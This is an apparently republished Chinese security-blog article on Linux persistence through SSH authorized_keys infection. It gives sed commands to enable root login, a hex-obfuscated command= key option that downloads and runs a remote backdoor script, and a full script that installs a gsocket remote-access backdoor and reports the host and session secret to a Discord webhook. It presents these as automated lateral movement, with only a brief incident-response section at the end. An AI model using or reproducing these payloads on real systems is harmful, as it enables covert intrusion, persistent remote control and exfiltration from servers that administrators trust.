Linux权限维持-SSH Key Infecting

admin 2024年2月29日13:20:25评论80 views字数 5923阅读19分44秒阅读模式
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关,如有侵权,告知即删并致歉,感谢!

SSH公私钥原理

原理:利用密钥生成器制作一对密钥即公钥和私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。

SSH公私钥开启

需要开启三个配置vim /etc/ssh/sshd_config

#允许root认证登录
PermitRootLogin yes
#允许密钥认证
RSAAuthentication yes
PubkeyAuthentication yes
#默认公钥存放的位置
AuthorizedKeysFile .ssh/authorized_keys

也可以使用下面的命令直接替换。

sed -i 's/^#*PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/^#*RSAAuthentication.*/RSAAuthentication yes/' /etc/ssh/sshd_config
sed -i 's/^#*PubkeyAuthentication.*/PubkeyAuthentication yes/' /etc/ssh/sshd_config
sed -i 's/#AuthorizedKeysFile/AuthorizedKeysFile/' /etc/ssh/sshd_config

SSH-RSA版本迭代

在我阅读这方面的资料的时候,值得一提的是,Centos7.4直接开始弃用了RSAAuthentication的支持 SSH的通讯协议分为第一代和第二代。 可以在/etc/ssh/sshd_config

Protocol 2
#Protocol Centos7.4配置项在 OpenSSH 的默认配置中通常不会显示出来,因为默认值为2 可以手动添加进行选择版本。

用以上选项来使用那个版本。 第二代ssh通讯协议的密钥验证选项是

PubkeyAuthentication yes

所以我们在第二代ssh通讯协议不需要纠结RSAAuthentication,如果在7.4中强行添加 RSAAuthentication会触发系统对他的废除提示。

SSH公钥后门安装

no-user-rc,no-X11-forwarding,command="`###---POWERSHELL---`;eval $(echo 5b5b20242873746174202d632559202f62696e2f73682920213d20242873746174202d632559202e73736829205d5d202626207b203a3b746f756368202d72202f62696e2f7368202e7373683b6578706f7274204b45593d22223b62617368202d63202224286375726c202d6673534c207468632e6f72672f737368782922207c7c2062617368202d632022242877676574202d2d6e6f2d766572626f7365202d4f2d207468632e6f72672f737368782922207c7c206578697420303b7d203e2f6465762f6e756c6c20323e2f6465762f6e756c6c2026203a3b5b5b202d6e20245353485f4f524947494e414c5f434f4d4d414e44205d5d202626206578656320245353485f4f524947494e414c5f434f4d4d414e443b5b5b202d7a20245348454c4c205d5d202626205348454c4c3d2f62696e2f626173683b5b5b202d66202f72756e2f6d6f74642e64796e616d6963205d5d20262620636174202f72756e2f6d6f74642e64796e616d69633b5b5b202d66202f6574632f6d6f7464205d5d20262620636174202f6574632f6d6f74643b65786563202d61202d2428626173656e616d6520245348454c4c2920245348454c4c3b0a|xxd -r -ps);" ssh-ed25519 AAAAC3Nzblah....

攻击服务器输入ssh-keygen -t rsaSSH密钥一般情况下存放在~/.ssh/目录下 id_rsa : 私钥 id_rsa.pub : 公钥

Linux权限维持-SSH Key Infecting

目标机创建密匙文件

mkdir -p ~/.ssh && touch ~/.ssh/authorized_keys && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys

如果没有.ssh文件夹就创建一个 将公钥内容写入目标密匙文件

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC78viZgqJjvOaGr6D/I96Ibc2GZB6Mgat/HvRfTX0ZRuj9+WAeL3m/8rcdRd5e8tYTDLXAF7f64w+fsX84JKVWekIh7zYGhiaGyxAlm5156CnGqckLXM2AGubVCHeg74uZCjMw/KHQpaR9LOXZpyg8rLiq6XwsSyHgKX3p1MeZxukzTX2REoDnrYVmXpT+sHmwV0j5W/ssj4N4pd6zdwfAUZk0mxM08TVZLeEXKfWoOrzvRkOdHQKFQRmTlt0mlSuVJnMWZX7j8ffOc+9ZZXxrjBOUj03VjmDvZoxfPsQXCTFeVDwW/lfaBy/I958DnVFg3W46YEU/FSkbBdmPtvEzAmrW6BYYrkl9O5sXxa6LloOi3FI689ENgUGsXsfxLaZEuCXkmQ1wnTx6q3HuAjgv8+c+kNCcuLgcha6s3ajefDITpW0Ku7xCh5cAAbs6MAYm8+/EG1m8XuIGNQgG19ctQBLInCtnhRzc9KnNxGQOdeBRsu2HleSrG7cwecxOZo0= root@Attack' >> /root/.ssh/authorized_keys
Linux权限维持-SSH Key Infecting

不需要即可登录

SSH公钥污染RCE

https://man.openbsd.org/OpenBSD-current/man8/sshd.8#AUTHORIZED_KEYS_FILE_FORMAT 说明了OpenSSH有一个特性

Linux权限维持-SSH Key Infecting

这个特性可以造成一些横向移动等效果,因为如果管理员不检查公钥就使用的话,在登录成功后可能会造成一些命令执行,因为可以命令执行我们可以进行深入利用, 在这里可以看到更多配置 https://www.uio.no/english/services/it/home-away/ssh/help/keys.html

echo -n -e 'Hello, World!' | xxd -ps
echo "48656c6c6f2c20576f726c6421" | xxd -r -ps
command="ping -c 1 to8i76.dnslog.cn" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4yBmqDzOf5O2ETuxg8GK5nBIYE1oxyem+aLE2JEBL57mLTJUSCku8Xj10lvaLzcFYUdNT6EdmaCDCdqPfeusvVGh1KCpckculogddYSgdZph/ikxtbf2cmcrUpDx9cILmmjgpa8g2P44doVfbXGYpuNrn/8rIFuYn/gq/xKkex2WzU8yRT1FLJCxSp1X6mtyAwy0NFqE7X6Pu1CFObrx8FK7kNtQ3aE9KQJBRWWYCgsWMlNjoj7fpuvH3Wl1tDS/V4u5lr14pMsvq5Bp+Euj8qIGx47h73jgLyLpHbm62mXuY92hmMohfHvC0jgtXLbNFtB3ZljXPiy/bY+t0+QYDYnWTO7gko6Kq75DiHlhcbodG6rO74Njryh1t9p54wN/Lh0ucPb8aDm4jFQJrDNSSo04LEb0p/dniIOeggpP95r78HQWzQM5eTq0dNxSbfoMWvu8WYSrxIKWtKvrKBv15pZ1oQHuz+KUMd8G3kzNZ0O0Ec6HpQcYL2cW/BvAXUKk= root@Attack

当我们把这个能执行命令的污染公钥文件放在目标机上,我们如果登录,他就会自动拉取这个密钥,当登录成功后,会向dnslog发送一条请求

Linux权限维持-SSH Key Infecting
Linux权限维持-SSH Key Infecting

在对于管理员来说,快速管理和配置多外服务器的时候,一般都是生成一个密钥对,将公钥复制到每台服务器,这样一个私钥对应多个公钥,管理员就可以登录到服务器上。 如果我们将执行命令进行深入利用,而不单单执行命令,而是下发后门远控,我们只需要感染一个用户,当那个用户的公钥拷贝到另一台服务器并登录时就会自动拉取后门下发,自动化横向移动。 这里给出一个示例,可以拉取thc.org/sshx提取并在内存中执行的后门安装程序脚本,作为后台进程启动,不影响用户的登录。如果成功,则会将访问密钥和系统指标报告给我们的服务。

[[ $(stat -c%Y /bin/sh) != $(stat -c%Y .ssh) ]] && { :;touch -r /bin/sh .ssh;export KEY="";bash -c "$(curl -fsSL thc.org/sshx)" || bash -c "$(wget --no-verbose -O- thc.org/sshx)" || exit 0;} >/dev/null 2>/dev/null & :;[[ -n $SSH_ORIGINAL_COMMAND ]] && exec $SSH_ORIGINAL_COMMAND;[[ -z $SHELL ]] && SHELL=/bin/bash;[[ -f /run/motd.dynamic ]] && cat /run/motd.dynamic;[[ -f /etc/motd ]] && cat /etc/motd;exec -a -$(basename $SHELL) $SHELL;

这个后门拉取另一个服务以保证目标下发后的通知。

#! /bin/bash

#
 This is an example script to demonstrate how ssh keys can be used to
# as a permanent backdoor and to move laterally through a network.
#
# If you find this on your network then somebody tested our tool and
# forgot to change the script's URL. Contact us at [email protected].


#
 Discord API key
# This key can be changed HERE or you can set  your own key with
# KEY=<YOUR DISCORD WEBHOOK KEY> ./gen
[[ -z $KEY ]] && KEY="1106565073956253736/mEDRS5iY0S4sgUnRh8Q5pC4S54zYwczZhGOwXvR3vKr7YQmA0Ej1-Ig60Rh4P_TGFq-m"

#
 Install GS-NETCAT and report installation back to DISCORD.
command -v curl >/dev/null && IS_CURL=1 || command -v wget >/dev/null && IS_WGET=1 || exit 0
if [[ -n $IS_CURL ]]; then
    S="$(bash -c "$(curl -fsSL https://gsocket.io/x)")"
else
    S="$(bash -c "$(wget --no-verbose -O- https://gsocket.io/x)")"
fi
S=${S##*S="}
S=${S%%"*}
X=($(hostname; uname -mrs))
MSG="${USER} ${X[*]} -- gs-netcat -i -s${S:-BAD}"

DATA='{"username": "sshx", "content": "'"$MSG"'"}'
if [[ -n $IS_CURL ]]; then
    curl -H "Content-Type: application/json" -d "${DATA}" "https://discord.com/api/webhooks/${KEY}"
else
    wget -q -O- --header="Content-Type: application/json" --post-data="${DATA}" "https://discord.com/api/webhooks/${KEY}"
fi
exit 0

然后会去下发会去请求一个gsocket的后门 使用 https://github.com/hackerschoice/gsocket 进行控制

SSH公私钥应急响应

查看篡改时间

ls -l /root/.ssh/authorized_keys

查看服务器开放的端口

netstat -anpt

根据pid查看进程

ll /proc/pid
一个将是对作者最大的鼓励,点击下方关注我!!!

原文始发于微信公众号(河马安全区):Linux权限维持-SSH Key Infecting

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月29日13:20:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux权限维持-SSH Key Infectinghttps://cn-sec.com/archives/2534980.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息